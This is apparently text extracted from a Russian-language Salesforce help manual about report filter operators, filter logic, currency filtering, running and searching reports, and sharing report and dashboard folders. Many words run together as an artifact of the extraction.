СМ. ТАКЖЕ:

Справка по типам фильтров

Ограничение результатов отчета

Справочник по операторам фильтров
Оператор, используемый в фильтре, заменяет глагол, используемый в предложении. Операторы позволяют задать, как
критериифильтрациисвязаныдругсдругом. Изучитеследующийсписокоператоровфильтрации, которыеиспользуются
при настройке фильтров для списковых представлений, отчетов, панелей мониторинга и некоторых настраиваемых
полей.

ПрименениеОператор

Используйте для точного совпадения. Например: «"Создано" равно "сегодня"».равно

Используйте для результатов, которые меньше, чем вводимое вами значение. Например, «План
продаж меньше 20 000» возвращает записи, где диапазон значений будет от 0 до 19 999,99.

меньше

Данныйоператорпредназначендляотображениярезультатов, превышающихвведенноезначение.
Например, фильтр «"Планпродаж" больше "20 000"» возвращает записи, в которых значение поля
«План продаж» превышает 20 000,01.

больше
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ПрименениеОператор

Данный оператор предназначен для отображения результатов, соответствующих или
предшествующих введенному значению.

меньше или равно

Данныйоператорпредназначендляотображениярезультатов, соответствующихилипревышающих
введенное значение.

больше или равно

Данный оператор предназначен для отображения результатов, которые не содержат введенное
значение. Этот оператор особенно удобен для удаления пустых полей. Например, «"Эл. почта" не
равна <пусто>».

не равно

Используйте для полей, которые содержат вашу строку поиска, но иногда также содержат другую
информацию. Например, фильтр «"Организация" содержит "Калифорния"» возвращает записи

содержит

«Калифорния-тур», «Калифорния-сервис» и «Моя Калифорния». Помните, что, если вы вводите
короткую строку поиска, она может совпадать с более длинным словом. Например, фильтр
«"Организация" содержит "про"» возвращает записи «Студия Про» и «ПрофессионалыМосквы».
Этот оператор не учитывает регистр:

Удаляет записи, которые не содержат введенное вами значение. Например: «Строка почтового
адреса 2 не содержит номера АЯ».

не содержит

Прим.: В полях сводного резюмирования оператор «не содержит» использует логику
«или» для значений, разделенных запятыми. Всписковыхпредставлениях, отчетахипанелях
мониторинга оператор «не содержит» использует логику «и».

Этот оператор не учитывает регистр:

Данныйоператорпредназначендляотображения записей, приусловииотсутствия точного текста
и наличия только его начала. В отличие от оператора «содержит», данный оператор выполняет

начинается с

более узкийпоиск. Например, есливывводите «Учетная записьначинается с "california"», тонайдется
«California Travel» и «California Pro Shop», но не «Surf California».

Данный оператор доступен при использовании раскрывающегося списка со множественным
выбором в качестве выбранного поля. Данный оператор предназначен для поиска записей,
содержащих как минимум одно введенное значение.

Например, если вы введете «Интересы включают хоккей, футбол, баскетбол», вы найдете записи,
у которых выбран только хоккей, и записи, у которых есть два или три введенных значения.
Результаты содержат только полные соответствия введенных значений.

включает

Данный оператор доступен при использовании раскрывающегося списка со множественным
выборомвкачестве выбранногополя. Данныйоператорпредназначендляпоиска записей, которые
не содержат значений, соответствующих введенным значениям.

Например, если ввести «Интересы исключить вино, гольф», ваш отчет будет содержать записи,
которые содержат какие-либо другие значения из этого раскрывающегося списка, в том числе

исключает

значения, которыеявляютсяпустыми. Результатысодержат толькополныесоответствиявведенных
значений.

Данный оператор доступен только для фильтров панели мониторинга. Данный оператор
предназначен дляфильтрации диапазонов значений. Для каждого диапазонафильтр возвращает

от

результаты, превышающие или равные минимальному значению и предшествующие
максимальному значению.
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ПрименениеОператор

Например, фильтр «Количество сотрудников от 100 до 500» возвращает организации с
численностью сотрудников от 100 до 499. Организации с численностью 500 сотрудников не
отображаются.

Добавление логики фильтра

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и удаления
отчетов:
• «Создание и настройка

отчетов»

И

«Конструктор отчетов»

Для создания настраиваемых
списковых представлений:
• «Чтение» для типов

записей, добавленных в
список

Для создания,
редактирования и удаления
общедоступных списковых
представлений:
• «Управление

общедоступными
списковыми
представлениями»

Логические параметрыфильтрации управляют тем, как и когда к вашему отчету
применяются фильтры.

После добавления фильтра к отчету фильтру присваивается номер. Первыйфильтр
получает имя Filter 1, а второй фильтр — Filter 2. Вы применяете логику фильтра на
основании этих пронумерованных фильтров.

Например, у вас есть отчет с Организациями с такими полями как
Административно-территориальная единица, Ежегодный доход и Отрасль. В отчете
используются следующие фильтры:

1. Поле «Административно-территориальная единица» включает Калифорнию,
Аризону и Неваду

2. «"Отрасль" равно "Банки"»

3. «"Годовой доход" больше "10000000"»

Этитрифильтраиспользуютсядляизвлеченияизотчетаорганизаций, расположенных
в Калифорнии, Аризоне и Неваде, занятых в банковской отрасли, с годовым доходом
выше 1 000 000 долларовСША. Ночтоследуетсделать, есливамнеобходимыорганизации
в Калифорнии, Аризоне или Неваде, которые работают в банковской отрасли ИЛИ
имеют доход выше 1 000 000 долларов США? Добавьте фильтр в отчет.

1. Нажмите кнопку «Добавить» > «Логикафильтра».

2. Введите номер строки каждого фильтра, используя логический оператор фильтра.

Например, выражение (1 И 2) ИЛИ 3 позволит найти записи, соответствующие
условиям фильтра 1 и фильтра 2, либо фильтра 3.

Вот полная таблица логических операторов фильтра:

ОпределениеОператор

Данныйоператорнаходитзаписи, которыесоответствуют
обоим значениям.

1 И 2

И

Данныйоператорнаходитзаписи, которыесоответствуют
одному из значений.

1 ИЛИ 2

ИЛИ
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ОпределениеОператор

Данный оператор находит записи, которые не содержат
введенные значения.

Например, Фильтр 1 имеет значениеОтрасль =
«Биотехнологии». ВынастраиваетелогикуфильтраНЕ

НЕ

1. В вашем отчете отображаются записи, среди которых
отсутствует отрасль «Биотехнологии».

3. Нажмите кнопку «Сохранить».

Теперь в вашем отчете отображаются Организации, занятые в банковской сфере в Калифорнии, Аризоне или Неваде,
с любым объемом дохода, а также все организации с годовым доходом выше 1 000 000 долларов США.

Прим.:

• Логикафильтра доступна толькодлянекоторыхфильтров. Например, онанеподдерживаетсяполямисводного
резюмирования.

• Условие «ИЛИ» не может использоваться для фильтрации объектов отчета, объект А которого может иметь
или не иметь объект Б. Например, при вводе критерия фильтрации «"Имя организации" начинается с "М"
ИЛИ "Личное имя контакта" начинается с "M"» отображается сообщение об ошибке, уведомляющеео вводе
недопустимого критерия фильтрации.

• Заисключениемлогикифильтроввполяхпоиска, вынеможетеиспользоватьлогическиеоператорыфильтров,
если в фильтрах полей используются любые из следующих полей:

– Темы

– Описание

– любые поля Адресная строка 1, Адресная строка 2, Адресная строка 3

– Категория прогноза

– Кампания: Тип участника

– Пользователь: Имя профиля

– Состояние входа

– настраиваемые поля для ввода увеличенных объемов текста

Справочник по операторам фильтров
Оператор, используемый в фильтре, заменяет глагол, используемый в предложении. Операторы позволяют задать,
как критерии фильтрации связаны друг с другом. Изучите следующий список операторов фильтрации, которые
используются при настройке фильтров для списковых представлений, отчетов, панелей мониторинга и некоторых
настраиваемых полей.
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Фильтрация по значениям специального раскрывающегося списка

СМ. ТАКЖЕ:

Справочник по операторам фильтров

Фильтрация по значениям специального раскрывающегося списка

Примечания для фильтрации по типу полей и значениям

Примечания для фильтрации по типу полей и значениям
Учитывайте эти рекомендации при фильтрации текстовых полей, полей дат, числовых значений, значений
раскрывающегося списка, а также пустых и нулевых значений.

Фильтрация по текстовым полям

• Чтобы отфильтровать записи по нескольким значениям, рекомендуем разделить поисковые запросы запятыми.
Например, чтобы найти организации в Томской области, Новосибирской области илиМоскве, введите запрос
«"Область" содержит "Томская область","Новосибирская область","Москва"».

• Фильтрация не чувствительна к регистру. Например, критерий поиска «"Область" содержит "Код"» возвращает все
записи, содержащиеслово «Код», а такжелюбыезаписисословами «Томская» и «Московская», именакоторыхсодержат
слово «код».

• Прифильтрациистандартныхполей типа «Областьподробного текста» (например, поле «Описание» или «Сведения
о решении») поиск выполняется только по первой 1 000 символов.Отчеты не могут быть отфильтрованы по
настраиваемым полям типа «Область подробного текста». Списковые представления отображают только первые
255 символов настраиваемых полей типа «Область подробного текста».

Фильтрация по полям даты

• При вводе даты рекомендуем использовать формат, выбранный в параметре «Регион». При необходимости
воспользуйтесьспециальнымизначениямидат (например, «СЕГОДНЯ», «СЛЕДУЮЩАЯНЕДЕЛЯ», «СЛЕДУЮЩИЙ
ГОД» или «ПОСЛЕДНИЕ <число> ДН.»).

Фильтрация по числовым значениям

• Числовыеипрочиеданные, содержащиезапятые, должныбытьзаключенывкавычки. Например, фильтр «"Стоимость"
равно "10,000"» возвращает записи со стоимостью 10 000 долларов США, тогда как фильтр «"Стоимость" равно
10,000» возвращает записи со стоимостью 10 000, 10 и 0 долларов США.

• Чтобы найти нужный номер телефона, рекомендуем указывать точныйформат телефонного номера (например,
«Номер телефона начинается на (561)»).

Фильтрация по значениям раскрывающегося списка

• Чтобы отфильтровать поля раскрывающегося списка со множественным выбором по точному совпадению,
рекомендуем разделить значения точкой с запятой.

Например, использование оператора «равно» и точки с запятой между двумя значениями возвращает записи,
содержащие оба значения, и исключает записи, содержащие все другие значения.
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• Еслиорганизацияиспользует типызаписей, тодиалоговоеокнопоиска содержитзначенияраскрывающегосясписка
для всех типов записей. Рекомендуем выбрать оператор «равно» или «не равно».

Прим.: При изменении метки для значения раскрывающегося списка, используемого в качестве критерия
фильтрации, значениераскрывающегося списка автоматическиудаляетсяиз критериевфильтрации. Например,
если отчет содержит фильтр «"Источник интереса" равно "Эл. почта" или "Web"», а пользователь меняет
значениераскрывающегося списка с «Web» на «Referral», тофильтротчетабудетизмененна «"Источник интереса"
равно "Эл. почта"». Измененное значение раскрывающегося списка, являющееся единственным значением,
заданным для отдельного фильтра, будет отображаться в фильтрах вместе с ошибкой.

Фильтрация по пустым и нулевым значениям

• Оператор «меньше», «больше», «меньше или равно» или «больше или равно», используемый в числовых полях,
возвращает записиспустымиилинулевымизначениями.Например, критерий «"Годовой доход" меньше "100 000"»,
используемыйбизнес-правиломилиправиломназначенияинтересов, возвращает записиорганизаций, содержащие
пустое поле «Годовой доход».

Обратитевнимание, чтофильтрыотчета, настраиваемыесписковыепредставленияиправиланазначенияорганизаций
не считают записи, содержащие пустые поля, совпадениями.

• Чтобы ограничить результаты записями, содержащими пустые или нулевые значения в отдельном поле, выберите
нужное поле и оператор «равно» или «не равно», а третье поле оставьте незаполненным. Например, фильтр
«"Стоимость" равно» возвращает записиспустымиполямистоимости. Системапозволяетвыполнятьодновременный
поиск пустых и других заданных значений. Например, запрос «"Стоимость" равно "1,,2"» возвращает записи,
поле «Стоимость» которых содержит пустое значение, значение «1» или «2».

СМ. ТАКЖЕ:

Относительные значения дат для критериев фильтрации

Советы по фильтрации мультивалюты

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Данный раздел содержит советы по фильтрации полей валюты в мультивалютных
организациях.

Ниже перечислены рекомендации по созданию более эффективных фильтров для
мультивалютных организаций.

• Чтобы найти элементы, содержащие определенную валюту, воспользуйтесь полем
«Валюта». Например, запрос «"Валюта возможности" равно "AUD"» возвращает
возможности, стоимости которых отображаются в австралийских долларах.

• Добавьте код валюты к стоимости (например, «"Годовой доход" больше "USD
50000000"»).

В противном случае всем стоимостям назначается валюта пользователя. Например,
прииспользованиидолларовСШАзапрос «"Годовой доход" больше "50000000"»
возвращаеторганизации, годовойдоходкоторыхпревышает 50 миллионовдолларов
США.

Если валюта пользователя не поддерживается, то всем стоимостям назначается валюта компании.

Вменю «Настройка» введите строку «Управление валютами» вполе «Быстрый поиск» ивыберитепункт «Управление
валютами» для получения кодов валют.
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• Все стоимости преобразуются в валюту компании для сравнения. Например, запрос «"Годовой доход" больше "USD
50000000"» возвращает организации, годовой доход которых превышает 50 миллионов долларов США, а также
организации, годовой доход которых составляет 114 миллионов австралийских долларов, что эквивалентно
60 миллионам долларов США при курсе обмена 1,9.

• Отчетыотображают стоимости висходных валютах, а итоговые данные — в личной валюте. Чтобыизменить валюту
для отображения итоговых данных отчета, последовательно выберите пункты «Показать» > «Валюты». Каждой
стоимости может соответствовать столбец «преобразовано» (например, «Годовой доход (преобразовано)»), который
позволяет просматривать стоимости в валюте, выбранной в раскрывающемся списке «Отобразить используемые
валюты».

СМ. ТАКЖЕ:

Примечания для фильтрации по типу полей и значениям

Запуск и чтение отчета

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

Щелкните по отчету, чтобы запустить его. После запуска отчета можно использовать
различные инструменты для просмотра информации.

1. Запуск отчета
Чтобы запустить отчет, найдите нужный отчет на вкладке «Отчеты» ищелкните его
имя. Отчеты запускаются автоматически при выборе имени. Чтобы запустить или
запланировать просматриваемый отчет, нажмите кнопку «Запустить отчет». В
Lightning Experienceкнопка«Запуститьотчет»отображаетсятолькопослесохранения
отчета.

2. Поиск отчета
Системапозволяетискатьотчетыпоимени, описанию, авторуилипоследнемуредактору. Чтобыуточнитьрезультаты
поиска, рекомендуем использовать фильтрацию, сортировку или поиск в выбранной папке.

3. Извлечение нужной информации из спискового представления вкладки «Отчеты»

Вкладка «Отчеты» поддерживает просмотр нужных сведений об отчетах путем изменения размера или порядка
отображения, сокрытия и сортировки столбцов, а также выбора количества записей для отображения в списковом
представлении.

4. Печать отчета
Чтобы распечатать отчет на странице запуска отчета, воспользуйтесь функцией печати, доступной в обозревателе.
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Запуск отчета

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для запуска отчетов:
• «Запуск отчетов»

Для планирования отчетов:
• «Планированиеотчетов»

Для создания,
редактирования и удаления
отчетов:
• «Создание и настройка

отчетов»

И

«Конструктор отчетов»

Чтобы запустить отчет, найдитенужныйотчет на вкладке «Отчеты» ищелкните егоимя.
Отчеты запускаются автоматически при выборе имени. Чтобы запустить или
запланироватьпросматриваемыйотчет, нажмите кнопку «Запуститьотчет». В Lightning
Experience кнопка «Запустить отчет» отображается только после сохранения отчета.

Если результаты отчета не отображаются, проверьте перечисленные ниже условия.

• Результаты отчета отсутствуют. Проверьте критерии фильтрации на предмет
отображения других данных.

• Одна из выбранных группировок недоступна согласно параметрам безопасности
поля.

• Контекст настраиваемойформулы резюмирования не соответствует параметрам
диаграммы. Например, если диаграмма не содержит параметра «Отрасль»,
использованного для вычисления формулы, то результаты не возвращаются.

• Выбранные значения не соответствуют диапазону допустимых значений.
Максимальное допустимое значение: 999999999999999.Минимальное допустимое
значение: -99999999999999.

Еслиотчетвозвращаетболее2 000 записей, тоотображаютсятолькопервые2 000 записей.
Чтобыпросмотретьвсерезультатыотчета, нажмитекнопку«Экспортироватьсведения».

Отчет, выполняемый более 10 минут, отменяется системой Salesforce. Чтобы сократить
объем данных, используемых в отчете, выполните указанные ниже действия.

• Выполните фильтрацию собственных, а не всех записей.

• Выберите нужный диапазон дат.

• Удалите лишние столбцы из отчета.

• Скройте сведения об отчете.

Добавление логики фильтра
Логические параметрыфильтрации управляют тем, как и когда к вашему отчету применяются фильтры.

Сортировка результатов отчета
Чтобыотсортировать результатыотчета по даннымвотдельном столбце, щелкните заголовокнужного столбца. При
выборе заголовка столбцаданныесортируются впорядке возрастания: текст — поалфавиту, числа — отнаименьшего
к наибольшему, время и дата — от самой ранней к самой поздней.

4153

ОтчетыAnalytics



Визуализация данных посредством панелей мониторинга
A dashboard shows data from source reports as visual components, which can be charts, gauges, tables, metrics, or Visualforce pages.
Компоненты представляют собой моментальные снимки ключевых показателей и индикаторов эффективности
организации. Каждая панель мониторинга может содержать не более 20 компонентов.

СМ. ТАКЖЕ:

Страница запуска отчета

Страница запуска отчета

Параметры страницы запуска отчета

Параметры страницы запуска отчета

Печать отчета

Сортировка результатов отчета

Поиск отчета

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для поиска отчетов:
• «Запуск отчетов»

Для поиска панелей
мониторинга:
• «Запуск отчетов» И

доступ к папке панелей
мониторинга

Системапозволяетискатьотчетыпоимени, описанию, авторуилипоследнемуредактору.
Чтобыуточнитьрезультатыпоиска, рекомендуемиспользоватьфильтрацию, сортировку
или поиск в выбранной папке.

1. Заполните поле поиска на вкладке «Отчеты».

Приэтомпоисквыполняетсяповсемпапкам. Фильтры «Все элементы» и «Все типы»
позволяют выполнить поиск по всему содержимому папки.

Система Salesforce выполняет поиск по следующим полям: «Имя», «Описание»,
«Последнееизменениесделано»или«Создал». Результатысодержаттолькоточные
соответствия заданным критериям поиска.

Еслифункция присвоения тегов включена и добавлена в настраиваемый отчет или
панель мониторинга, выполните поиск по тегам посредством поля глобального
поиска.

2. Чтобыуточнитьрезультатыпоиска, воспользуйтесь указанныминижепараметрами.

ДействияКритерий
уточнения
результатов

Выберите нужныйфильтр:Тип

• Отчеты

• Панели мониторинга

• Все типы

Фильтры типа не применяются к шаблонам отчетов в
стандартных папках отчетов.

Выберите нужныйфильтр:Представление

• Все элементы

• Недавно просмотренные
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ДействияКритерий уточнения
результатов

• Созданные элементы

• Отслеживаемые элементы

Фильтры представления.

Выберите нужную папку и заполните поле поиска.Выбранная папка

Фильтры «Все элементы» и «Все типы» позволяют выполнить поиск по всему
содержимому папки.

Щелкните в любом столбце и выберите параметр «Сортировка по
возрастанию»или «Сортировкапоубыванию». Сортировкаприменяется ко всем
элементам спискового представления, включая элементы на следующих страницах.

Сортировка

СМ. ТАКЖЕ:

Визуализация сложной информации посредством панелей мониторинга

Начало работы с панелями мониторинга

Извлечение нужной информации из спискового представления вкладки «Отчеты»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра вкладки
«Отчеты»:
• «Запуск отчетов»

Вкладка «Отчеты» поддерживаетпросмотрнужныхсведенийоботчетахпутемизменения
размера или порядка отображения, сокрытия и сортировки столбцов, а также выбора
количества записей для отображения в списковом представлении.

• Чтобы настроить списковое представление, выполните указанные ниже действия.

ОписаниеПараметр

Перетащите правое поле столбца.Чтобы изменить размер
столбца

Щелкните  > «Столбцы» в любом столбце и
снимите флажок напротив нужного столбца.

Чтобы скрыть столбец

Перетащите столбец в нужную область.Чтобы изменить порядок
отображения столбцов

Щелкните в любом столбце и выберите параметр
«Сортировка по возрастанию» или «Сортировка

Чтобы выполнить
сортировку столбца

по убыванию». Сортировка применяется ко всем
элементам спискового представления, включая
элементы на следующих страницах.
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ОписаниеПараметр

Щелкните значок внижнемлевом углу спискаи выберитенужноечисло.
Одновременно можно просматривать 10, 25, 50, 100 или 200 записей. После
изменения данного параметра отображается первая страница результатов.

Обратите внимание, что количество записей во всем списке остается
неизменным. Параметротображения записейна вкладке «Отчеты» не влияет
на списковые представления, доступные в других областях Salesforce.

Чтобыизменить количество записей,
доступных на странице

СМ. ТАКЖЕ:

Предоставление доступа к данным посредством отчетов

Печать отчета

ВЕРСИИ

Доступно в Salesforce
Classic.

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для печати отчетов:
• «Запуск отчетов» и

«Экспорт отчетов»

Чтобыраспечатать отчетна странице запуска отчета, воспользуйтесьфункциейпечати,
доступной в обозревателе.

• Нажмите кнопку «Версия для печати» на странице запуска отчета.

• При этом откроется диалоговое окно обозревателя, позволяющее выполнить одно
из указанных ниже действий.

– Откройте отчет в текущем обозревателе и воспользуйтесь функцией печати,
доступной в обозревателе.

– Сохранитеотчетввидефайла Excel ивоспользуйтесьфункциейпечати, доступной
в приложении Excel.

СМ. ТАКЖЕ:

Экспорт отчета

Предоставление общего доступа к отчету

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях: все
версии, кроме
Database.com Edition.

При предоставлении общего доступа к отчетам коллеги получают возможность
обработки одних и тех же данных.

Прим.: При использовании папок обратите внимание на ограничения Lightning
Experience ниже.

Функции, недоступные в Lightning Experience

Примечания к вопросу
доступности Lightning Experience

Функция

Стандартные папки с содержанием
стандартных отчетов и панелей
мониторинга, входящих в комплект
поставки Salesforce
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Примечания к вопросу доступности Lightning
Experience

Функция

Перемещение отчетов и панелей мониторинга между
папками

Lightning Experience поддерживает папки, созданные в
Salesforce Classic, иих содержимое. Пользователимогут

Создание и удаление папок с отчетами и панелями
мониторинга

использовать эти папки для хранения при создании и
клонировании отчета или панели мониторинга.

Наборполномочийнапредоставлениеобщегодоступа
к папкам в Salesforce Classic задан в Lightning Experience,
однако его нельзя изменить или установить.

Предоставление общего доступа к папкам отчетов и
панелей мониторинга

Lightning Experience не позволяет пользователям
выполнять поиск папок отчетов и панелей

Поиск папок отчетов и панелей мониторинга

мониторинга. Результатыглобальногопоискасодержат
отчеты и панели мониторинга, но не их папки.

1. Предоставление общего доступа к отчетам и панелям мониторинга
Общий доступ к отчетам и панелям мониторинга предоставляется посредством папок. Как правило, общий доступ
предоставляетсякпапке, содержащейнужныйотчетилипанельмониторинга. Чтобыразрешитьдругимпользователям
использованиеотчетаилипанелимониторинга, предоставьтеимуровеньдоступа «Гость», «Редактор» или «Менеджер»
к соответствующей папке.

2. Доставка отчета
Чтобы предоставить пользователям доступ к данным отчета, воспользуйтесь URL-адресом отчета, опубликуйте отчет
в ленты Chatter или экспортируйте данные в другое приложение (например, Excel). При необходимости отчеты могут
выполняться по расписанию и предоставлять пользователям самые последние данные.

3. Общие сведения о встроенных диаграммах отчета
Раньше пользователям приходилось открывать вкладку «Отчеты» для поиска нужных данных. Теперь вся ценная
информация может отображаться пользователям прямо на часто просматриваемых страницах. Чтобы включить
данную возможность, просто вставьте диаграммы отчета на страницы сведений для стандартных или настраиваемых
объектов. Диаграммы, добавленныена страницы, позволяютпользователямпринимать обдуманныерешения только
на основе отображаемых данных (без поиска нужных данных в других областях системы). Например, запись
возможности отображает важные данные прямо на соответствующей странице сведений.

Предоставление общего доступа к отчетам и панелям мониторинга

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии, кроме
Database.com Edition.

Общий доступ к отчетам и панелям мониторинга предоставляется посредством папок.
Как правило, общий доступ предоставляется к папке, содержащей нужный отчет или
панель мониторинга. Чтобы разрешить другим пользователям использование отчета
или панели мониторинга, предоставьте им уровень доступа «Гость», «Редактор» или
«Менеджер» к соответствующей папке.
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Прим.: Пользователи не могут совместно использовать общие папки отчетов и панели мониторинга в версии
Lightning Experience. Все полномочия по общему доступу, установленные для папок в Salesforce Classic, будут
выполняться в Lightning Experience.

1. Предоставление общего доступа к папке отчетов или панелей мониторинга
Чтобыразрешитьдругимпользователямиспользованиеотчетаилипанелимониторинга, предоставьтеобщийдоступ
к соответствующейпапке. Каждому пользователю, общедоступнойпапке или ролиможет быть назначен отдельный
уровень доступа.

2. Уровни доступа к папкам отчетов и панелей мониторинга
Каждому пользователю, группе или роли может быть предоставлен собственный уровень доступа к папке отчетов и
панелей мониторинга. Гости могут просматривать данные; редакторы могут определять данные, доступные для
отображения; менеджеры могут контролировать уровни доступа.

3. Сравнение уровней доступа к папкам отчетов и панелей мониторинга
Даннаядиаграммапозволяетпросмотретьдействия, доступные гостям, редакторамименеджерамнадпапкамиотчетов
и панелей мониторинга.

4. Полномочия пользователя для предоставления общего доступа к отчетам и панелям мониторинга
Каждыйуровеньдоступа кпапкеотчетовилипанелеймониторингаотличаетсяопределеннымнаборомполномочий.
Чтобы уточнить уровень доступа пользователей к панелям мониторинга и отчетам, администратор организации
может назначить или удалить как минимум одно полномочие.
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Предоставление общего доступа к папке отчетов или панелей мониторинга

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для предоставления общего
доступа к папке отчетов:
• Уровень доступа

«Менеджер» или
полномочие
«Управление отчетами в
общедоступных папках»

Для предоставления общего
доступа к папке панелей
мониторинга:
• Уровень доступа

«Менеджер» или
полномочие
«Управление панелями
мониторинга в
общедоступных папках»

Чтобыразрешитьдругимпользователямиспользованиеотчетаилипанелимониторинга,
предоставьте общий доступ к соответствующей папке. Каждому пользователю,
общедоступной папке или роли может быть назначен отдельный уровень доступа.

Прим.: Чтобыпредоставитькому-либодоступкоднойизпапок, необходимдоступ
уровня «Менеджер» к этой папке, полномочия уровня «Управление отчетами в
общих папках» (для папок отчетов) или полномочия «Управление панелями
мониторинга в общих папках» (для папок панелей мониторинга).

Создателю папки назначается уровень доступа «Менеджер». Созданная папка может
просматриваться только текущим пользователем и администраторами.

Если для папки отсутствует доступ уровня «Менеджер», она является публичной и
пользователи с полномочиями «Просмотр отчетов в общих папках» смогут ее
просматривать. В зависимости от наличия или отсутствия доступа к определенным
объектам эти пользователи могут также запустить этот отчет.

(1) Предоставьте пользователю, группе или роли общий доступ к папке. (2) Выберите нужный уровень доступа
для каждого пользователя, группы или роли. (3) Отмените общий доступ пользователя, группы или роли.

1. Предоставление пользователю общего доступа к отчету или панели мониторинга
Если общий доступ к папке отчетов или панелей мониторинга должен быть предоставлен только одному или двум
пользователям, рекомендуем предоставить доступ каждому пользователю по отдельности.
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2. Предоставление группе общего доступа к отчету или панели мониторинга
Если общий доступ к папке аналитики должен быть предоставлен нескольким пользователям, рекомендуем
предоставить доступ соответствующей общедоступной группе. Данный алгоритм исключает необходимость
отслеживания отдельных пользователей, которым предоставляется общий доступ.

3. Предоставление роли общего доступа к отчету или панели мониторинга
Чтобыразрешитьобщийдоступкпапкеотчетовилипанелеймониторингабез уточненияконкретныхпользователей
или групп, рекомендуем предоставить доступ на основе выполняемой роли.

СМ. ТАКЖЕ:

Уровни доступа к папкам отчетов и панелей мониторинга

Полномочия пользователя для предоставления общего доступа к отчетам и панелям мониторинга

Предоставление пользователю общего доступа к отчету или панели мониторинга

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для предоставления
внутренним пользователям
общего доступа к папке
отчетов:
• Уровень доступа

«Менеджер» или
полномочие
«Управление отчетами в
общедоступных папках»

Для предоставления
внутренним пользователям
общего доступа к папке
панелей мониторинга:
• Уровень доступа

«Менеджер» или
полномочие
«Управление панелями
мониторинга в
общедоступных папках»

Еслиобщийдоступкпапкеотчетовилипанелеймониторингадолженбытьпредоставлен
только одному или двум пользователям, рекомендуем предоставить доступ каждому
пользователю по отдельности.

1. Навкладке «Отчеты» наведите курсорнапапкуотчета в левойпанели, щелкните ,
затем выберите «Сделать общим».

2. Щелкните ссылку «Внутренние пользователи».

Прим.: Пользователи клиентского или партнерского портала не являются
внутренними пользователями.

3. Найдите нужного пользователя, нажмите кнопку «Общий доступ» и выберите
уровень доступа.

Чтобы выполнить поиск, введите первые символы имени.

4. Нажмите кнопку «Готово», просмотрите внесенные изменения и нажмите кнопку
«Закрыть».
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Предоставление группе общего доступа к отчету или панели мониторинга

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для предоставления
общедоступным группам
общего доступа к папке
отчетов:
• Уровень доступа

«Менеджер» или
полномочие
«Управление отчетами в
общедоступных папках»

Для предоставления
общедоступным группам
общего доступа к папке
панелей мониторинга:
• Уровень доступа

«Менеджер» или
полномочие
«Управление панелями
мониторинга в
общедоступных папках»

Если общий доступ к папке аналитики должен быть предоставлен нескольким
пользователям, рекомендуем предоставить доступ соответствующей общедоступной
группе. Данный алгоритм исключает необходимость отслеживания отдельных
пользователей, которым предоставляется общий доступ.

1. Навкладке «Отчеты» наведите курсорнапапкуотчета в левойпанели, щелкните ,
затем выберите «Сделать общим».

2. Щелкните ссылку «Общедоступные группы».

3. Найдите нужную группу и нажмите кнопку «Общий доступ».

Чтобы выполнить поиск, введите первые символы имени.

4. Выберите нужный уровень общего доступа.

Прим.: Пользователям портала может быть предоставлен только уровень
доступа «Гость» к отчетам; использование панелей мониторинга недоступно.

5. Нажмите кнопку «Готово», просмотрите внесенные изменения и нажмите кнопку
«Закрыть».
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Предоставление роли общего доступа к отчету или панели мониторинга

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для предоставления роли
или роли и подчиненным
ролям общего доступа к
папке отчетов:
• Уровень доступа

«Менеджер» или
полномочие
«Управление отчетами в
общедоступных папках»

Для предоставления роли
или роли и подчиненным
ролям общего доступа к
папке панелеймониторинга:
• Уровень доступа

«Менеджер» или
полномочие
«Управление панелями
мониторинга в
общедоступных папках»

Чтобыразрешитьобщийдоступкпапкеотчетовилипанелеймониторингабезуточнения
конкретных пользователей или групп, рекомендуем предоставить доступ на основе
выполняемой роли.

Доступ к папке отчетов или панелей мониторинга может быть предоставлен
пользователям роли или пользователям роли и подчиненных ролей.

Например, папка панелей мониторинга доступна роли «Вице-президент по продажам» и
подчиненнымролямдляпросмотра (уровень доступа «Гость»); при этомосновнойроли
(«Вице-президентпопродажам») такжепредоставляется доступдля управления (уровень
доступа «Менеджер»). Другими словами, роли «Вице-президент по продажам»
предоставляется более широкий уровень доступа, чем нижестоящим ролям. Таким
образом, пользователь, которомуназначаетсяроль «Вице-президентпопродажам» после
увольнения из компании предыдущего пользователя данной роли, сможет управлять
панелями мониторинга, хранящимися в соответствующей папке.

1. Навкладке «Отчеты» наведите курсорнапапкуотчета в левойпанели, щелкните ,
затем выберите «Сделать общим».

2. Щелкните ссылку «Роли» или «Роли и подчиненные роли».

• Чтобы предоставить доступ всем пользователям данной роли, щелкните ссылку
«Роли».

• Чтобы предоставить доступ всем пользователям данной роли и нижестоящих
ролей, щелкните ссылку «Роли и подчиненные роли».

